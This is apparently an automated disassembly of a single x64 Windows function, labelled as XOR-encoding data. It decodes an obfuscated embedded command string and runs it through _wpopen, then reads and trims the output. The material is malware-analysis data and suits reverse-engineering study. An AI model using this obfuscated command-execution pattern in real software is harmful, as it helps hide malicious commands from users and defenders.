Function at 0x1400ecb40
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x370
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rsp + 0x340], rax
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor r14d, r14d
mov dword [rsp + 0x24], r14d
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], 7
mov word [rcx], r14w
mov dword [rsp + 0x24], 1
mov eax, dword [0x140177418]
mov dword [rsp + 0x20], eax
lea rdx, [rsp + 0x30]
lea ecx, [r14 + 2]
cmp word [reloc.WS2_32.dll_gethostbyname], r14w
je 0x1400ecc26
mov eax, WSAStartup
mov word [rsp + 0x20], ax
xor word [rsp + 0x22], 0x34
lea rax, str.DYU
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x1400ecbd2
jmp 0x1400ecc82
lea rax, str.DYU
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x1400ecc30
movzx ecx, word [rax]
mov word [rdx], cx
mov r8d, r14d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400ecdbd
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x1401787b0]
movdqa xmm6, xmmword [0x1401783d0]
movdqa xmm7, xmmword [0x1401784f0]
lea rcx, [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x80
jl 0x1400eccc0
cmp r8d, 0x81
jge 0x1400ece0b
movsxd rax, r8d
lea r9, [rsp + 0x30]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
xor word [r9], cx
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x81
jl 0x1400ecdd0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wpopen]
mov rbp, rax
mov r8, rax
mov edx, 0x100
lea rcx, [rsp + 0x140]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
mov r8, rbp
mov edx, 0x100
lea rcx, [rsp + 0x140]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
je 0x1400ed039
lea rax, [rsp + 0x140]
mov rdx, 0xffffffffffffffff
inc rdx
cmp word [rax + rdx*2], 0
jne 0x1400ece62
mov rax, qword [rdi + 0x18]
cmp rdx, rax
ja 0x1400ecea3
mov rsi, rdi
cmp rax, 7
jbe 0x1400ece81
mov rsi, qword [rdi]
mov qword [rdi + 0x10], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
lea rdx, [rsp + 0x140]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rsi], r14w
jmp 0x1400eceb3
lea r9, [rsp + 0x140]
mov rcx, rdi
call fcn.140092b60
cmp qword [rdi + 0x18], 7
jbe 0x1400eced0
mov rbx, qword [rdi]
mov rcx, qword [rdi + 0x10]
add rcx, rcx
mov r9, rbx
lea rsi, [rcx + rbx]
add rbx, rcx
jmp 0x1400ecee2
mov rax, qword [rdi + 0x10]
add rax, rax
mov r9, rdi
lea rsi, [rax + rdi]
lea rbx, [rdi + rax]
mov r8d, 0xa
mov rdx, rsi
mov rcx, r9
call fcn.140149a30
mov rcx, rax
cmp rax, rsi
je 0x1400ecf1d
add rax, 2
cmp rax, rsi
je 0x1400ecf1d
movzx edx, word [rax]
cmp dx, 0xa
je 0x1400ecf14
mov word [rcx], dx
add rcx, 2
add rax, 2
cmp rax, rsi
jne 0x1400ecf04
mov rax, rdi
mov r8, qword [rdi + 0x18]
cmp r8, 7
jbe 0x1400ecf2d
mov rax, qword [rdi]
mov rdx, rcx
sub rdx, rax
sar rdx, 1
sub rbx, rcx
sar rbx, 1
mov rsi, qword [rdi + 0x10]
mov rax, rsi
sub rax, rdx
cmp rax, rbx
cmovb rbx, rax
mov rax, rdi
cmp r8, 7
jbe 0x1400ecf59
mov rax, qword [rdi]
lea rcx, [rax + rdx*2]
sub rsi, rbx
mov r8, rsi
sub r8, rdx
lea r8, [r8*2 + 2]
lea rdx, [rcx + rbx*2]
call sub.VCRUNTIME140.dll_memmove
mov qword [rdi + 0x10], rsi
lea rdx, [rsi + rsi]
cmp qword [rdi + 0x18], 7
jbe 0x1400ecf95
mov rbx, qword [rdi]
mov r9, rbx
lea rsi, [rdx + rbx]
add rbx, rdx
jmp 0x1400ecfa0
mov r9, rdi
lea rsi, [rdx + rdi]
lea rbx, [rdi + rdx]
mov r8d, reloc.WS2_32.dll_listen
mov rdx, rsi
mov rcx, r9
call fcn.140149a30
mov rcx, rax
cmp rax, rsi
je 0x1400ecfdb
add rax, 2
cmp rax, rsi
je 0x1400ecfdb
movzx edx, word [rax]
cmp dx, 0xd
je 0x1400ecfd2
mov word [rcx], dx
add rcx, 2
add rax, 2
cmp rax, rsi
jne 0x1400ecfc2
mov rax, rdi
mov r8, qword [rdi + 0x18]
cmp r8, 7
jbe 0x1400ecfeb
mov rax, qword [rdi]
mov rdx, rcx
sub rdx, rax
sar rdx, 1
sub rbx, rcx
sar rbx, 1
mov rsi, qword [rdi + 0x10]
mov rax, rsi
sub rax, rdx
cmp rax, rbx
cmovb rbx, rax
mov rax, rdi
cmp r8, 7
jbe 0x1400ed017
mov rax, qword [rdi]
lea rcx, [rax + rdx*2]
sub rsi, rbx
mov r8, rsi
sub r8, rdx
lea r8, [r8*2 + 2]
lea rdx, [rcx + rbx*2]
call sub.VCRUNTIME140.dll_memmove
mov qword [rdi + 0x10], rsi
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
mov rax, rdi
mov rcx, qword [rsp + 0x340]
xor rcx, rsp
call fcn.1401487e0
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret